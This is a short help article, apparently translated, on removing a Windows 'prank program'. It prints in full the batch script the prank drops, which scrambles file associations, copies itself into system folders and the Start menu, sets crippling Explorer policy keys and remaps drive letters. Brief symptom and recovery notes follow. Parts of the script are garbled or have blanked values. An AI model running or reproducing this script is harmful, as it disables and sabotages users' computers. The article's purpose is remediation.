How to clear the prank program

Prank program clearing solution

After running, a batch file is released from the current user's temporary folder. This is a prank program. Find a way to prevent this .bat from running, open the file with Notepad, and you can see the following content:
@echo off
assoc .txt=exefile
assoc .exe=txtfile
assoc .htm=exefile
assoc .html=exefile
assoc .com=txtfile
assoc .gho=txtfile
assoc .rar=txtfile
assoc .zip=txtfile
assoc .chm=txtfile
assoc .jpg=txtfile
assoc .doc=exefile
assoc .ppt=txtfile
assoc .vbs=txtfile
assoc .cmd=txtfile
assoc .bmp=txtfile
assoc .gif=txtfile
assoc .ico=txtfile
assoc .png=txtfile
assoc .jpeg=txtfile
assoc .jpe=txtfile
assoc .jfif=txtfile
assoc .fla=txtfile
assoc .swf=txtfile
assoc .avi=txtfile
assoc .mov=txtfile
assoc .asf=txtfile
assoc .wmv=txtfile
assoc .rm=txtfile
assoc .ra=txtfile
assoc .mvb=txtfile
assoc .flv=txtfile
assoc .mpg=txtfile
assoc .wav=txtfile
assoc .mpeg=txtfile
assoc .mp3=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .3g2=txtfile
assoc .dat=txtfile
assoc .msi=txtfile
assoc .bat=txtfile
copy %0 "%windir%\system32\"
copy %0 "%systemdrive%"
copy %0 "%userprofile%\"Start" menu\Program\Start\*.*"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start 
Page" /t reg_sz /dhttp:///f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v 
"Default_Page_URL" /t reg_sz /dhttp:///f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoFind /t REG_DWORD /d 1 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoRun /t REG_DWORD /d 0 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoClose /t REG_DWORD /d 1 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
HideClock /t REG_DWORD /d 1 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
StartMenuLogOff /t REG_DWORD /d 1 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
nodrives /t REG_DWORD /d 60 /f
subst b: C:\
subst h: C:\
subst i: C:\
subst j: C:\
subst k: C:\
subst l: C:\
subst m: C:\
subst n: C:\
subst o: C:\
subst p: C:\
subst q: C:\
subst r: C:\
subst s: C:\
subst t: C:\
subst u: C:\
subst v: C:\
subst w: C:\
subst x: C:\
subst y: C:\
subst z: C:\
taskkill /im  /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoFolderOptions /t REG_DWORD /d 1 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoViewContextMenu /t REG_DWORD /d 0 /f
reg add 
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v 
NoWinKeys /t REG_DWORD /d 1 /f
——————————————————————

If it is run, the resource manager process is terminated and the user has only one empty desktop to view; the file association is changed to messy; the task manager is called out with three keys, Restart the resource manager, and use the resource manager to view it. It can be seen that n additional hard disk partitions have not actually increased (you can verify it by PQ).
This program cannot penetrate shadows. If you run the mischievous program in shadow, restart it will be OK.